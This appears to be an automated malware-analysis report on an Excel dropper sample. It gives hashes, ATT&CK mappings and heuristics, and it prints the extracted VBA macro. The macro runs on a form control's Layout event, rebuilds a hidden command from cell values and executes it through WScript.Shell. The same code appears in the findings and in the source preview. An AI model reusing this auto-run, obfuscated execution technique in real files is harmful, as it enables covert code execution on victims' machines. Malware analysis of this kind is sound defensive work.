Xls.Dropper.Agent-7784191-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 0a383870010db689…

MALICIOUS

Office (OLE)

72.5 KB Created: 2020-05-11 08:16:59 First seen: 2020-07-24
MD5: 0bf3eb42e3645ccd8177a3f39b2672bb SHA-1: 3240d9d15c6161272ac315b6acb38daa8c842e29 SHA-256: 0a383870010db689605e8aac2fd1a9ad284558ef9eccc6d07bdc9dbbc573480f
220 Risk Score

Malware Insights

Xls.Dropper.Agent-7784191-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Office document containing VBA macros that utilize WScript.Shell and CreateObject to execute code. The macro attempts to construct a string 't' from cell constants and then execute it using WScript.Shell.Run, indicating it's designed to download and execute a second-stage payload. The ClamAV detection name further supports its classification as a dropper.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-7784191-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7784191-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub rowss_Layout(ByVal Index As Long)
On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(t, (g), (g))): WScript.Quit: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close False: End
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub rowss_Layout(ByVal Index As Long)
On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(t, (g), (g))): WScript.Quit: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close False: End
End Sub
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1074 bytes
SHA-256: dc769b9aee916c8e2776d33dec8600200a76604632f9bbeb3a14ac91f6ecd70d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "rowss, 1, 0, MSForms, MultiPage"
Attribute VB_Control = "order, 2, 1, MSForms, CommandButton"
Private Sub rowss_Layout(ByVal Index As Long)
On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(t, (g), (g))): WScript.Quit: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close False: End
End Sub

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